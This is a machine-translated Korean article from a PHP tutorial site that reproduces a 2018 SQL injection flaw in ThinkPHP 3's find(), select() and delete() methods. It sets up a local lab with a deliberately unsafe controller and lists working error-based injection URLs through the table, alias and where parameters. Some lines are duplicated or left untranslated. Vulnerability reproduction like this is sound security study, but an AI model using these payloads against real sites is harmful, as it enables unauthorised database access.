>  기사  >  PHP 프레임워크  >  thinkphp3에 취약점이 있나요?

thinkphp3에 취약점이 있나요?

藏色散人
藏色散人원래의
2019-08-06 11:31:112685검색

thinkphp3에 취약점이 있나요?

thinkphp3에 취약점이 있나요?

thinkphp3은 취약하지만 2018년 8월 23일 목요일 오전 11시 25분(베이징 시간)에 tp 팀에서 업데이트가 중단된 thinkphp 3 시리즈에 대한 보안 업데이트를 진행했으며, 분석 후 이번 업데이트를 선택했기 때문에 수정되었습니다. (), find() 및 delete() 메소드는 배열 유형 데이터를 전달할 수 있으므로 여러 가지 SQL 삽입 위험이 있습니다.

0x01 취약점 재발

소스 코드 다운로드: git clone https://github.com/top-think/thinkphp.git git clone https://github.com/top-think/thinkphp.git

使用git checkout 命令将版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b

git checkout 명령을 사용하여 버전을 롤백하세요. 이전 커밋에: git checkout 109bf30254a38651c21837633d9293a4065c300b

phpstudy와 같은 통합 도구를 사용하여 thinkphp를 빌드하고 Apache 구성 파일 httpd-conf

DocumentRoot ""를 thinkphp가 있는 디렉터리로 수정합니다.

thinkphp3에 취약점이 있나요?

phpstudy를 다시 시작하고 127.0.0.1에 접속한 후 thinkphp 환영 메시지를 출력하면 thinkphp가 정상적으로 실행되고 있음을 알 수 있습니다.

thinkphp3에 취약점이 있나요?

데이터베이스를 구축합니다. 데이터베이스는 tptest, 테이블은 user, 테이블에는 id, username, pass

thinkphp3에 취약점이 있나요?

ApplicationCommonConfconfig.php 구성 파일을 수정하고 데이터베이스 구성 정보를 추가합니다.

thinkphp3에 취약점이 있나요?

ApplicationHomeControllerIndexController.class.php에 다음 코드를 추가하세요.

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }

select() 및 find() 메서드에 대해 참고할 부분이 많이 있습니다. 다음은 세 가지 주요 테이블, 별칭 및 위치입니다. 자세한 내용은 ParSql의 다양한 ParsXXX 메서드를 직접 추적해 보세요.

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
thinkphp3에 취약점이 있나요?

delete() 메서드의 경우도 마찬가지입니다. 다음은 대략적인 세 가지 예입니다: 테이블, 별칭, where. 그러나 테이블과 별칭을 사용할 때는 where가 비어 있지 않은지 확인해야 합니다(자세한 이유). 나중에 다룰 예정)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
thinkphp3에 취약점이 있나요?

github에 커밋을 비교해 보면 이번 업데이트가 주로 ThinkPHP/Library/Think/Model.class.php 파일에 있다는 것을 대략 알 수 있는데, 여기서 세 가지 함수가 delete, find 및 선택 항목이 수정되었습니다. 🎜

위 내용은 thinkphp3에 취약점이 있나요?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.